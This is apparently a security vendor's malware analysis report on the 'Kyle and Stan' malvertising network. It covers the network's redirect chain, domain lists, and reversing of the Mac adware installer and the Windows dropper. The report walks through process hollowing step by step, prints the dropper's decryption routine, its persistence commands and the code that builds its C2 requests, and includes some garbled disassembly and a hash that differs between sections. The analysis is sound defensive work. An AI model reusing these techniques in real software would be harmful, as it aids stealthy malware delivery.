Protecting Windows and Mac Users Against the “Kyle and Stan” Malvertising Network

The following members of the Talos Security Intelligence and Research Group contributed to this paper. Shaun Hurley, David McDaniel, and Armin Pelkmann.

Introduction

Have you visited amazon.com, ads.yahoo.com, www.winrar.com, youtube.com, or any of the 76 domains listed below lately? If the answer is yes, then you may have been a victim to the “Kyle and Stan” Malvertising Network that distributes sophisticated, mutating malware for Windows and even Macs.

*Malvertising* is a short form for “malicious advertising.” The idea is very simple: use online advertising to spread malware. This attack form is not new, but extremely effective. The world of online ads has only a few major players that are supplying ads to thousands of websites. If an attacker can get one of those major advertisement networks to display an advertisement with a malicious payload just for a few minutes without being detected, then countless machines can be infected by such an attack.

The Talos Security Intelligence and Research Group (Talos) has uncovered a major network that is doing exactly this. Due to the naming scheme of hundreds of their sub-domains e.g. “stan.mxp2099.com” and “kyle.mxp2038.com,” we nicknamed that malvertising group “Kyle and Stan.” Ongoing research now reveals the real size of the attackers’ network is nine times larger than initially thought.

Attack in a Nutshell

The attack has a lot of variations, but always follows these steps:

1. You visit a website with the malicious advertisement.
2. You get redirected to a different website that redirects you based on user agent. Talos analysts observed that Windows and Mac users get redirected to different malware in order to infect both operating systems.
3. The final page starts the download of a malicious file.
Once the victim gets redirected to the final URL, the website automatically starts the download of a unique piece of malware for every user. The file is a bundle of legitimate software, like a media-player, and compiles malware and a unique-to-every-user configuration into the downloaded file. The attackers are purely relying on social engineering techniques in order to get the user to install the software package. No drive-by exploits are being used thus far. Particularly impressive is that this technique works not only for Windows, but also for Mac operating systems. The Reversing chapters in this paper provide a detailed breakdown of how the malware penetrates both Windows and Mac environments.

**Timeline**

**Timeline and Size of the “Kyle and Stan” Group**

After an initial investigation that revealed the existence of the Kyle and Stan malvertisement network, Talos conducted ongoing research to gain a deeper understanding of the attack. Identifying all domains used by the attackers’ infrastructure helped Talos researchers get a better view of the attack timeline and the extent of the network. The size of the “Kyle and Stan” network is hard to judge, but is much larger than originally thought.
Image 2 shows that the first attempts to spread malware, spyware, and adware date back to January 2012. The graphic is using the logarithmic scale due to the huge changes in activity of the network. The most activity was registered in mid-June but attacks are still ongoing.

Image 2. Observed connections to the “Kyle and Stan” Network on a log scale.

As show in Image 3, Talos has now isolated 6491 domains sharing the same infrastructure. This is over nine times the initially identified 703 domains. Talos has also observed and analyzed 31151 connections made to these domains. This equals over three times the amount of connections first observed. The increase in connections is not proportional to the domains most likely due to the length of time that has passed since the initial attacks. A full list of the found domains can be downloaded in the IOC Section.

Image 3. The discovery difference from initial research to now in raw numbers. With more than three times the now observed connections and over nine times the revealed malicious domains, this malvertising network is of unusually massive proportions.
Full List of Domains Referring to the “Kyle and Stan” Network

Talos data indicates that all of the domains below have at different times displayed malicious advertising that can be linked to the “Kyle and Stan” group. The domains of the type `kyle.mxp677.com`, `stan.mxp681.com` and `lpmxp47.com` seem to have a relatively short lifespan until they get replaced. The attacker seems to use them for a short while, burn them and move on to the subsequent number. Domains like `megashre.info` or `file36.com` seem to be used for a longer period and are still active.

Noteworthy is that the popular domain `www.winrar.com` is also part of these attackers network. The website is built to fool visitors into believing they are installing the popular compression tool WinRar, but instead they are downloading malware. This website exhibits a significant traffic load and is a good example on how the attackers behind this network are trying to dupe users into installing their malware.

The list contains a few very popular domains including `amazon.com`, `ads.yahoo.com`, `www.winrar.com`, and `youtube.com`, which allow the attackers to reach huge numbers of potential victims:

<table>
<thead>
<tr>
<th>Domain</th>
<th>Domain</th>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>6nbzz.watch-now.awardcrowd.eu</td>
<td><a href="http://www.directsoftddl.com">www.directsoftddl.com</a></td>
<td><a href="http://www.newplayerupdate.com">www.newplayerupdate.com</a></td>
</tr>
<tr>
<td>7ruzz.globalrewards.samplestation.eu</td>
<td><a href="http://www.dllnaisoft.com">www.dllnaisoft.com</a></td>
<td><a href="http://www.pcsoftultimate.com">www.pcsoftultimate.com</a></td>
</tr>
<tr>
<td>ads.yahoo.com</td>
<td><a href="http://www.dllsoftultimate.com">www.dllsoftultimate.com</a></td>
<td><a href="http://www.pitsoft.com">www.pitsoft.com</a></td>
</tr>
<tr>
<td>amazon.com</td>
<td><a href="http://www.dllultimatesoft.com">www.dllultimatesoft.com</a></td>
<td><a href="http://www.popdis.com">www.popdis.com</a></td>
</tr>
<tr>
<td>br5zz.watch-now.awardcrowd.eu</td>
<td><a href="http://www.dllsofteclipse.com">www.dllsofteclipse.com</a></td>
<td><a href="http://www.proplayersetup.com">www.proplayersetup.com</a></td>
</tr>
<tr>
<td>file36.com</td>
<td><a href="http://www.filenetix.com">www.filenetix.com</a></td>
<td><a href="http://www.recommendedfiles1.com">www.recommendedfiles1.com</a></td>
</tr>
<tr>
<td>gisbeacon.lijit.com</td>
<td><a href="http://www.filesbunker.com">www.filesbunker.com</a></td>
<td><a href="http://www.softnewdll.com">www.softnewdll.com</a></td>
</tr>
<tr>
<td>javaapx.com</td>
<td><a href="http://www.filesonar.com">www.filesonar.com</a></td>
<td><a href="http://www.softplayerdownload.com">www.softplayerdownload.com</a></td>
</tr>
<tr>
<td>javaupdating.com</td>
<td><a href="http://www.freeunlimitedvideos.com">www.freeunlimitedvideos.com</a></td>
<td><a href="http://www.softultimatedwnl.com">www.softultimatedwnl.com</a></td>
</tr>
<tr>
<td>johzz.watchnow.rewardbasket.eu</td>
<td><a href="http://www.getmplayer.com">www.getmplayer.com</a></td>
<td><a href="http://www.thelatestsoft.com">www.thelatestsoft.com</a></td>
</tr>
<tr>
<td>jvpdater.com</td>
<td><a href="http://www.getsoftdll.com">www.getsoftdll.com</a></td>
<td><a href="http://www.thesoftdll.com">www.thesoftdll.com</a></td>
</tr>
<tr>
<td>megashre.info</td>
<td><a href="http://www.getplayer.com">www.getplayer.com</a></td>
<td><a href="http://www.totalsoftdll.com">www.totalsoftdll.com</a></td>
</tr>
<tr>
<td>serve.adsgm.com</td>
<td><a href="http://www.installrecommended.com">www.installrecommended.com</a></td>
<td><a href="http://www.ultimateplayersetup.com">www.ultimateplayersetup.com</a></td>
</tr>
<tr>
<td>w0lzr.watchnow.rewardbasket.eu</td>
<td><a href="http://www.latestoplayerplugin.com">www.latestoplayerplugin.com</a></td>
<td><a href="http://www.ultimatevideoplayer.com">www.ultimatevideoplayer.com</a></td>
</tr>
<tr>
<td><a href="http://www.directdls.com">www.directdls.com</a></td>
<td><a href="http://www.mysoftdll.com">www.mysoftdll.com</a></td>
<td>youtube.com</td>
</tr>
<tr>
<td><a href="http://www.directdls.com">www.directdls.com</a></td>
<td><a href="http://www.newboxdl.com">www.newboxdl.com</a></td>
<td></td>
</tr>
</tbody>
</table>
Technical Breakdown

Technical Breakdown of the Attack

The nickname “Kyle and Stan” comes from the naming scheme these attackers are using for their domains to distribute the major part of their malware. All the domains directly associated with the attackers are hosted by Amazon and use a whois privacy protection service to keep the identity protected (e.g. mxp111.com@whoisprivacycontact.com). Most of the 700+ domains follow the naming scheme of:

kyle.mxp(1-4 digits).com or stan.mxp(1-4 digits).com

There are also specialized domains in the “Kyle and Stan” network that seem to handle the redirecting and act as landing pages. What is special about the attack is that they are targeting Windows and Mac computers alike. Also each malware is unique each time, which makes the detection harder as the checksums are different each time.

Images 4-6 depict a few examples of these landing pages:

![Image 4](https://example.com/image4.png)
Image 5.

Image 6.
Analysts also found plenty of domains that use a default page that looks like Image 7.

![Image 7](https://example.com/image7.png)

Image 7.

The source of the websites contains a few Spanish words in the JavaScript. Additionally a lot of the whois records are pointing at services operated out of Spain, as shown in Image 8.

![Image 8](https://example.com/image8.png)

Image 8.

While these indicators may not be entirely sufficient to determine the location of the masterminds behind this network, it is obvious that a part of the operation is run on servers hosted in Spain.
Reversing the Malware

Reversing the Mac Malware

Image 9. Sample Mac OS malvertisement

Browser Hijacker Vsearch

The Mac OS Malware (Image 9) is the legitimate application **MPlayerX** bundled with two well-known adware/browser hijackers: **Conduit** and **VSearch**. Talos reversed two samples of this malware:

- Sample 1
  - MD5: 537a3542c238877629b24195ab8e4ab4

- Sample 2
  - MD5: 0F055F734D211C699A0E9A3418B73514
  - SHA-256: 89A6827698BDFF134A2400EE5DB7E4B17256693A27107166EBA973E5B340D8CF

The hashes are different due to the way the each DMG file was constructed. There is no functional difference between these two files. The user has the option to install Conduit. The VSearch installation is not optional. Following is the command that is used:
MPlayerX.app/Contents/Resources/VSInstaller.app/Contents/MacOS/VSInstallerauth 13 –agreetolicens

The Vsearch installer downloads an updated version and installs the files. The following files are created:

- VSearchAgent.app → /Library/Application Support/VSearch/Agent
- VSearchPlugIn.bundle → /System/Library/Frameworks/VSearch.framework/Versions/A/
  - VsearchLoader.bundle
  - DP.plist
  - libVSearchLoader.dylib
  - libVSearchLoader.dylib

Vsearch Persistence
A launcher is added to maintain persistence between reboots. The following commands are used to add the launcher:

```
/bin/launchctl load -F /Library/LaunchDaemons/com.vsearch.daemon.plist
/bin/launchctl start com.vsearch.daemon
```

URL Requests
The following GET requests are made to ‘dfwu1013.info’ to download and install Vsearch.

GET /vsearch/installer?dp=DP2152&sdp=0001&f=99&id=12EC363D-6EEE-4D82-A953-D4B04492687E&v=1000010 HTTP/1.1

GET /vsearch/installer?dp=DP2152&sdp=0001&f=00&id=12EC363D-6EEE-4D82-A953-D4B04492687E&v=1000010 HTTP/1.1

Reversing the Windows Malware
Upon further analysis of the Windows sample, it became clear that Talos researchers found an adware/spyware dropper that has an interesting way of retrieving its various payloads through a GET request. The dropper is a 32-bit executable written in C++.

MD5: 602c94e82c83bbaea1abdea420e0b939

SHA-256: ee87af42dda91f6ed6ccedcd20736cb1d00a96f26138c0c6698c9837c1525dee

The GET request is at first glance a seemingly random URI and begins the installation of several common Spyware/Adware applications (Image 10). The adware bundle locations are retrieved in the server response and later executed (Image 11).
Image 10. The installer window presented to the user after it “checks your system”

Image 11. The initial GET request (in red) sent upon execution. Followed by the response (in blue) with what the dropper should download.
The initial dropper uses a sophisticated technique called “Dynamic Forking” also known as “Process Hollowing.” Dynamic forking is a technique that allows the execution of an image within another process’s address space. The following section analyzes the technique in detail.

Dynamic Forking 101

1. Create a SUSPENDED Process

Create the host process (this dropper) again, but in a SUSPENDED state (Image 12).

<table>
<thead>
<tr>
<th>CPU Disasm</th>
<th>Address</th>
<th>Hex dump</th>
<th>Command</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>00401FF3</td>
<td>FF15 44404000 CALL DWORD PTR DS:[&lt;KERNEL32.CreateProcessA&gt;] ; \KERNEL32.CreateProcessA</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CPU Stack</th>
<th>Address</th>
<th>Value</th>
<th>ASCII Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0012F5D8</td>
<td>0012F5F4</td>
<td>; ApplicationName = &quot;C:\Documents and Settings\User\Desktop\virus.exe&quot;</td>
<td></td>
</tr>
<tr>
<td>0012F5D8</td>
<td>00155F90</td>
<td>; CommandLine = &quot;&quot;</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000000</td>
<td>; pProcessSecurity = NULL</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000000</td>
<td>; pThreadSecurity = NULL</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000000</td>
<td>; InheritsHandles = FALSE</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000004</td>
<td>; CreationFlags = CREATE_SUSPENDED</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000000</td>
<td>; pEnvironment = NULL</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>00000000</td>
<td>; pCurrentDirectory = NULL</td>
<td></td>
</tr>
<tr>
<td>0012F5F4</td>
<td>0012F800</td>
<td>; pStartupInfo = 0012F800 -&gt; STARTUPINFO (Size=0, Reserved1=0, NULL, Desktop=NULL, Title=NULL, X=0, Y=0, Width=0, Height=0, XCountChars=0, YCountChars=0, FillAttribute=0, Flags=0, ShowWindow=SW_HIDE, Reserved2=0, Reserved=0, hWindow=0, hInstance=0, hIcon=0, hCursor=0, hbrBackground=0, dwShowFlags=SW_HIDE, lpDesktop=0, lpMenu=0, lpIcon=0, lpClassName=0, lpWindowClass=0)</td>
<td></td>
</tr>
</tbody>
</table>

Image 12.

2. Get Thread Context

Obtain the thread context of the new process using GetThreadContext(). See Image 13.

- CONTEXT->EAX points to what will be the entry point of the executable
- CONTEXT->EBX points to the PEB

<table>
<thead>
<tr>
<th>CPU Disasm</th>
<th>Address</th>
<th>Hex dump</th>
<th>Command</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>00401FB1</td>
<td>FF15 44404000 CALL DWORD PTR DS:[&lt;KERNEL32.GetThreadContext&gt;] ; \KERNEL32.GetThreadContext</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CPU Stack</th>
<th>Address</th>
<th>Value</th>
<th>ASCII Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>0012F5D8</td>
<td>00000000</td>
<td>; pThread = 00000000</td>
<td></td>
</tr>
<tr>
<td>0012FEC0</td>
<td>003A0000</td>
<td>; pContext = 003A0000 -&gt; CONTEXT (ContextFlags=CONTEXT_FULL, Dr0=0, Dr1=0, Dr2=0, Dr3=0, Dr6=0, Dr7=0, Float_ControlWord=0, Float_StatusWord=0, Float_TagWord=0, Float_ErrorOffset=0, Float_RoundSelector=0, Float_DataOffset=0, Float_DataSelector=0, ST0=0, ST1=0, ST2=0, ST3=0, ST4=0, ST5=0, ST6=0, ST7=0)</td>
<td></td>
</tr>
</tbody>
</table>

Image 13.
3. Get Base Address of Child Executable

Get the base address of the new executable using the PEB ([ebx + 8]). See Image 14.

<table>
<thead>
<tr>
<th>CPU Disasm</th>
<th>Hex dump</th>
<th>Command</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>00401FDC</td>
<td>6A 00</td>
<td>PUSH 0</td>
<td>/pBytesWritten = NULL</td>
</tr>
<tr>
<td>00401FDE</td>
<td>6A 08</td>
<td>PUSH 4</td>
<td>/Size = 4</td>
</tr>
<tr>
<td>00401FF7</td>
<td>50</td>
<td>PUSH EAX</td>
<td>Buffer = 7FFDE008 -&gt; 00</td>
</tr>
<tr>
<td>00401F88</td>
<td>C705 EC104300 MOV DWORD PTR DS:[4310EC].OFFSET 00424BE</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00401F92</td>
<td>8008 A4000000 MOV EAX, DWORD PTR SS:[EBP+0A4]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>00401F98</td>
<td>03C0 08</td>
<td>ADD EAX,0</td>
<td></td>
</tr>
<tr>
<td>00401F9C</td>
<td>50</td>
<td>PUSH EAX</td>
<td>BaseAddress = 7FFDE008</td>
</tr>
<tr>
<td>00401FC0</td>
<td>FF35 94124300 PUSH DWORD PTR DS:[4312B4]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0040200B</td>
<td>FA15 1C040420 CALL DWORD PTR DS:[Cambrel32.ReadProcess] \x2 /Cambrel32.ReadProcessMemory</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Image 14.

4. Read [and Decrypt] New Executable into Memory

This particular sample stores the child executable encrypted in the resource section. It uses and XOR decryption routine with this key:

```
for i in sourceBuffer.length():
    result[i] = ( (keyBuffer[i] & 0x28 ) + 1 ) ^ sourceBuffer[i]
```

It uses that key with the following pseudocode:

Other samples that Talos analysts found use the same routine but with a different key.

For example, one of the encoded buffers is located in the static dropper .rsrc section. As shown in Image 15, to the left is the encoded version with the decoded version to the right. Notice that this decodes to the file magic of a PE32:

```
.rsrc:00475B99 db 66h // 4d
.rsrc:00475B99 db 38h // 5A
.rsrc:00475BA7 db E4h // 90
.rsrc:00475B99 db 65h // 00
.rsrc:00475B9D db 64h // 03
.rsrc:00475B9D db 67h // 00
.rsrc:00475B99 db 67h // 00
.rsrc:00475B9F db 74h // 00
.rsrc:00475BA0 db 66h // 04
.rsrc:00475BA1 db 65h // 00
.rsrc:00475BA2 db 67h // 00
.rsrc:00475BA3 db 62h // 00
```

Image 15.

This decoded buffer is then saved and stored for later.
5. Unmap the Image, Reallocate Space, & Write the New Executable

If the decoded/new executable doesn't have the same base address or is a larger size than the host process, the next step is to unmap the host process's image using ZwUnmapViewOfSection and re-allocate that space. See Image 16.

Image 16.

6. Set Thread Context and Resume

Write the new entry point to EAX (in the CONTEXT structure obtained earlier). If the base address is different, it would be important to write that to the structure as well. Afterwards, use SetThreadContext() to apply the changes using the modified CONTEXT structure. See Image 17.

Image 17.
Attaching to the Child Executable

In order to debug the child executable, a little math is needed. You have (at least) two options, both require determining what bytes will be copied to the Entry Point (EP) of the child executable before the thread is resumed.

- Set the EP bytes to CC (int 3) and set your Just-in-Time Debugger to catch the exception.
- Set the EP bytes to an infinite loop (EB FE) and just allow the parent process to gracefully exit before attaching. Talos analysts chose this method.

The EP of the child will be EAX in the CONTEXT structure set in the child executable using SetThreadContext(). Since you also know where the bytes that occupy that space come from (the decryption routine from earlier), simply get the offset of EAX from the base address of the child executable and add that to the base address of the memory that is copied there as shown in Image 18:

```plaintext
// From EAX in the call to SetThreadContext()
0x44c48 - 0x01000 = 0x4c48 // Offset of the EP that will be called
```

<table>
<thead>
<tr>
<th>EP Disasm</th>
<th>Address</th>
<th>Rax dump</th>
<th>Command</th>
<th>Comments</th>
</tr>
</thead>
<tbody>
<tr>
<td>04402093</td>
<td>0x50</td>
<td>PUSH 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>04402095</td>
<td>0x8440A</td>
<td>PUSH DWORD PTR DS [EAX:EDX:108]</td>
<td>Size = 4756480</td>
<td>Buffer = 0A30420</td>
</tr>
<tr>
<td>0440209C</td>
<td>0x4444A</td>
<td>MOV RAX DWORD PTR DS [EAX:EDX:10C]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020A3</td>
<td>0x0C3</td>
<td>ADD RAX FEM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020A5</td>
<td>0x50</td>
<td>PUSH RAX</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020A6</td>
<td>0x8864A</td>
<td>MOV RAX DWORD PTR DS [EAX:EDX:10A]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020A9</td>
<td>0x0C6</td>
<td>ADD RAX EIP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020A5</td>
<td>0x50</td>
<td>PUSH RAX</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020AF</td>
<td>0x8441A</td>
<td>PUSH DWORD PTR DS [123294</td>
<td>Process = 00000000</td>
<td></td>
</tr>
<tr>
<td>044020B0</td>
<td>0x4143A000</td>
<td>CALL DWORD PTR DS [KERNEL32 WriteProcessMemory]</td>
<td></td>
<td></td>
</tr>
<tr>
<td>044020B6</td>
<td>0x4143A000</td>
<td>CALL DWORD PTR DS [KERNEL32 WriteProcessMemory]</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

// Base of new executable's .text section plus the offset of the EP
0x430420 + 0x4c48 = 0x7c68

// Grab the original bytes

<table>
<thead>
<tr>
<th>EP Disasm</th>
<th>Address</th>
<th>Rax dump</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>0447c6f8</td>
<td>0x28989900</td>
<td>CALL 9788198</td>
<td></td>
</tr>
<tr>
<td>0447c6f8</td>
<td>0x79effe00</td>
<td>JMP 047c6ee</td>
<td></td>
</tr>
</tbody>
</table>

// Change then and let the process resume

<table>
<thead>
<tr>
<th>EP Disasm</th>
<th>Address</th>
<th>Rax dump</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>0447c6e8</td>
<td>0x8fe</td>
<td>JMP SHORT 047c6e8</td>
<td></td>
</tr>
</tbody>
</table>

Image 18.

Once the process has resumed, the child process should be executing at around 100% of CPU time.

Replace the original bytes and continue on.
Intercepting the GET Request Construction with JavaScript Injection

After the first installation screen, a child process is spawned, which then creates a window (Image 19) containing a message claiming to check the system, while also utilizing hidden web browser functionality.

![Image 19](checking_system.png)

This window loads an HTML file containing 6,900 lines of obfuscated JavaScript. This JavaScript contains two well-known libraries: CryptoJS and jQuery. The file is located in the child executable statically but it does not run on its own. The JavaScript is called from elsewhere in the binary.

Determining if the JavaScript in the static executable is the same Script that is eventually executed, can be accomplished by injecting custom JavaScript. It must be done in a way that doesn’t affect the size of the HTML document. One way to do this is to inject our own code into comment sections.

```javascript
/*! jQuery v1.10.2 | (c) 2005, 2013 jQuery Foundation, Inc. |jquery.org/license/8
 sourceMappingURL=jquery-1.10.2.min.map*/

03a9925 2fe2a21206a517b6572792076312a31392a32207202086d329203220
03a9940 32052c232033033206a517b65727920466756e6461746966e2c
03a9950 2042e631e20217a517b6572792076312a31392a32207202086d329203220
03a9976 6d2326402076312a31392a32207202086d329203220
03a9991 792d312a31302e322e6d696e2e6d61706c6a2e60d0a3866756e63

y-1.10.2.min.map=*/
```

There is just enough room to replace that with this code which should open a new browser window populated with whatever code is on the page. Note the need to delay the execution of the JavaScript so that the entire page was loaded.

```javascript
/**window.onload=function(){var w=document.open();w.document.write(document.documentElement.innerHTML);}**/
```

This is easy to do in Windbg.

```
<es> 004a9927</es> "*/window.onload=function(){var w=document.open();w.document.write(document.documentElement.innerHTML);}*/
```

Now just let the program execute to completion. It may say that an error occurred if a proper response is not received, it doesn’t matter. Click the OK button and a new window should pop up containing the full HTML document used in this embedded window.
Image 20.

Image 20 shows that it is indeed the same JavaScript from the static child executable. After a bit of de-obfuscation and testing, two key functions were found (Image 21).

```
function cryptstring(ivLength, passLength, mode, text) {
    var key = CryptoJS.enc.Hex.parse(pass prominPass(diffLength));
    var iv = CryptoJS.enc.Hex.parse(pass prominPass(ivLength));
    var encrypted = CryptoJS.AES.encrypt(text, key, {
        iv: iv,
        mode: CryptoJS.mode moden[
    });
    var crypt = encrypted.ciphertext.toString(CryptoJS.enc.Hex);
    var ps = encrypted.key.toString(CryptoJS.enc.Hex);
    return iv + ps + crypt
}

function deCryptString(ivLength, passLength, mode, data) {
    try {
        var iv = CryptoJS.enc.Hex.parse(data.slice(0, ivLength));
        var key = CryptoJS.enc.Hex.parse(data.slice(ivLength + passLength));
        var ciphertext = CryptoJS.enc.Hex.parse(data.slice(ivLength + passLength));
        var result = CryptoJS.AES.decrypt(ciphertext, key, {
            iv: iv,
            mode: CryptoJS.mode moden[
        });
        return CryptoJS.enc.Utf8.stringify(result)
    } catch (error) {
        return null
    }
}
```
To determine how (and if) the `cryptString()` function was used, simply employ the same technique above to overwrite the return call in the "cryptString()" function and the function declaration of the "deCryptString()" function (Image 22). Analysts don’t care about the malware being able to decrypt anything at this point, so overwriting it for testing purposes doesn’t matter here. Plus, it keeps the JavaScript section the exact same size (make sure to zero-out any unused bytes that occupy the leftover space in this function to avoid an exception).

Image 22.

Search for the location in memory and overwrite it with a helpful alert box.

Success!
Clicking OK will initiate the GET request, since this function was left effectively intact (Image 23).

Image 23.

It is now clear how the GET request is generated locally using CryptoJS’ AES w/ CBC functionality. Also note that the key and IV are randomly generated. To test this theory, simply import the HTML into a local document and run the `deCryptString()` function previously overwritten with the URI.

The URI is successfully decrypted and displayed (Image 24).
The path is built inside of the getData() function. It will at least contain "/stan/api_war/" and is constructed as follows:

```
epiUrl = "http:/" + installerData.extra_requestHost + "/stan/api_war/" + installerData.publisher + "/" + installerData.campaign + "/" + installerData.carrier + "/" + machineInfo.lan.toUpperCase() + "/" + getRegion().toUpperCase() + "?browser=" + installerData.usedBrowser;
```

When used with this URI, analysts can determine its meaning. Note that Region and Browser fetching was unsuccessful on this particular machine. However, Talos analysts have seen this work on other machines. For example, Google Chrome shows as "?browser=ch".
Indicators of Compromise

Talos has uncovered huge parts of this malvertisement network. The list of domains is broken down into different families:

- 1836 Kyle and Stan subdomains [File 1]
- 1895 mxp and lpmxp and other connected domains [File 2]
- 2760 pages that are mostly fake download websites [File 3]

Windows Malware:

- MD5: 602c94e82c83bbaea1abdea420e0b939
- SHA-256: ee87af42dda91f6ed6cccedcd20736cb1d00a96f26138c0c6698c9837c1525dee

Mac Malware:

- Sample 1
  - MD5: 537a3542c238877629b24195ab8e4ab4
- Sample 2
  - MD5: 0F055F734D211C699A0E9A3418B73514
  - SHA-256: 8A6827698BDFF134A2400EE5DB7E4B17256693A27107166EBA973E5B340D8CF

Conclusion

The “Kyle and Stan” network is a highly sophisticated malvertising network. It leverages the enormous reach of well-placed malicious advertisements on very well-known websites in order to potentially reach millions of users. The goal is to infect Windows and Mac users alike with spyware, adware, and browser hijackers. The malware droppers employ clever techniques and encryption to ensure unique checksums to avoid detection.

The latest discoveries have proven that the network is far larger than originally reported. The count of websites connected to the attackers’ infrastructure is now up to 6491 and is growing daily. The fact that parts of this infrastructure date back to January 2012 is concerning, as it shows that the threat actors have been active for quite some time. Talos continues to push additional protection into various Cisco security solutions to mitigate this threat.
Protecting Users From These Threats

The Talos Security Intelligence and Research Group (Talos) is made up of leading threat researchers supported by sophisticated systems to create threat intelligence for Cisco products that detects, analyzes, and protects against both known and emerging threats. Calling on an unrivaled telemetry data set, Talos creates intelligence that provides a holistic understanding of threats translating to leading security effectiveness for Cisco security solutions. Talos also maintains the official rule sets of Snort.org, ClamAV, SenderBase.org, and SpamCop. The following Cisco solutions work together to protect against the Kyle and Stan malvertising attacks.

<table>
<thead>
<tr>
<th>Product</th>
<th>Protection</th>
</tr>
</thead>
<tbody>
<tr>
<td>AMP</td>
<td>✓</td>
</tr>
<tr>
<td>CWS</td>
<td>✓</td>
</tr>
<tr>
<td>ESA</td>
<td>N/A</td>
</tr>
<tr>
<td>Network Security</td>
<td>✓</td>
</tr>
<tr>
<td>WSA</td>
<td>✓</td>
</tr>
</tbody>
</table>

Cisco Advanced Malware Protection (AMP) is well suited to detect and block this type of malware.

Cisco Cloud Web Security (CWS) or Cisco Web Security Appliance (WSA) prevents access to the websites of the “Kyle and Stan” network.

The Network Security protection of Cisco Intrusion Prevention Systems (IPS) and Cisco Next-Generation Firewalls (NGFW) have up-to-date signatures and will block this threat.

Cisco Email Security Appliance (ESA) is not applicable for this attack, because the threat is not using email.